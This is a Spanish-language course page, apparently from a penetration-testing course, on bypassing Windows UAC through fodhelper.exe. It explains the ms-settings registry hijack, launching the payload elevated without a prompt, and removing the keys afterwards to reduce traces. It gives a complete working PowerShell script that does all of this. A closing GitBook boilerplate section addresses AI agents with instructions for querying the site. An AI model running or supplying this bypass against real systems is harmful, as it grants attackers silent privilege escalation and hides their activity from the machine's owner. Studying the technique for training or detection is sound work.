> For the complete documentation index, see [llms.txt](https://books.spartan-cybersec.com/cpad/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://books.spartan-cybersec.com/cpad/introduccion-a-la-evasion-de-defensas/introduccion-a-uac/bypass-uac-utilizando-fodhelperuacbypass.ps1.md).

# Bypass UAC utilizando FodhelperUACBypass.ps1

## <mark style="color:red;">**Fodhelper.exe en Profundidad**</mark>

`Fodhelper.exe` es un ejecutable de Windows que forma parte del sistema operativo y se encuentra en la carpeta `System32`. Este ejecutable está diseñado para permitir que los usuarios ejecuten funciones auxiliares del Panel de Control de Windows. Lo que es notable desde una perspectiva de seguridad es que `fodhelper.exe` se ejecuta con privilegios elevados sin provocar una solicitud de UAC, lo que proporciona una oportunidad tentadora para los actores de amenazas de eludir los controles de UAC.

## <mark style="color:red;">**Técnica de Bypass de UAC utilizando Fodhelper.exe**</mark>

<mark style="color:red;">**Pre-requisitos**</mark>

1. **Ambiente:** Sistema operativo Windows con UAC habilitado.
2. **Privilegios:** Acceso inicial con privilegios de usuario estándar.

### <mark style="color:red;">**Proceso detallado**</mark>

<mark style="color:red;">**Paso 1: Manipulación del Registro de Windows**</mark>

El primer paso para ejecutar el bypass de UAC usando `fodhelper.exe` implica realizar cambios en el Registro de Windows. La técnica emplea la creación de claves de registro específicas que alteran el comportamiento de `fodhelper.exe`:

* Crear una nueva clave de registro en `HKCU:\Software\Classes\ms-settings\Shell\Open\command`.
* Establecer la propiedad `(default)` de la clave `HKCU:\Software\Classes\ms-settings\Shell\Open\command` para que apunte al payload malicioso que se desea ejecutar.
* Establecer la propiedad `DelegateExecute` de la misma clave a una cadena vacía para asegurarse de que la cadena de comandos sea interpretada y ejecutada adecuadamente.

<mark style="color:red;">**Paso 2: Ejecución de Fodhelper.exe**</mark>

Posteriormente, cuando `fodhelper.exe` es ejecutado, Windows intenta abrir la aplicación asociada con la configuración y, debido a las manipulaciones realizadas en el registro, ejecutará el payload malicioso especificado con privilegios elevados sin presentar la notificación de UAC al usuario.

<mark style="color:red;">**Paso 3: Limpieza**</mark>

Tras la ejecución del payload, es prudente eliminar las claves de registro creadas para reducir los rastros de la actividad maliciosa y evitar posibles problemas derivados de la manipulación del registro.

## <mark style="color:red;">**Implementación de la Técnica en PowerShell**</mark>

```powershell
<#
.SYNOPSIS  
    This script can bypass User Access Control (UAC) via fodhelper.exe
　
    It creates a new registry structure in: "HKCU:\Software\Classes\ms-settings\" to perform UAC bypass and starts 
    an elevated command prompt. 
　
.EXAMPLE  
　
     Load "cmd /c start C:\Windows\System32\cmd.exe" (it's default):
     FodhelperUACBypass 
　
     Load specific application:
     FodhelperUACBypass -program "cmd.exe"
     FodhelperUACBypass -program "cmd.exe /c powershell.exe"　
#>

function FodhelperUACBypass(){ 
 Param (
           
        [String]$program = "cmd /c start C:\Windows\System32\cmd.exe" #default
       )
　
    #Create Registry Structure
    New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
    New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
    Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $program -Force
　
    #Start fodhelper.exe
    Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
　
    #Cleanup
    Start-Sleep 3
    Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
　
}
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://books.spartan-cybersec.com/cpad/introduccion-a-la-evasion-de-defensas/introduccion-a-uac/bypass-uac-utilizando-fodhelperuacbypass.ps1.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
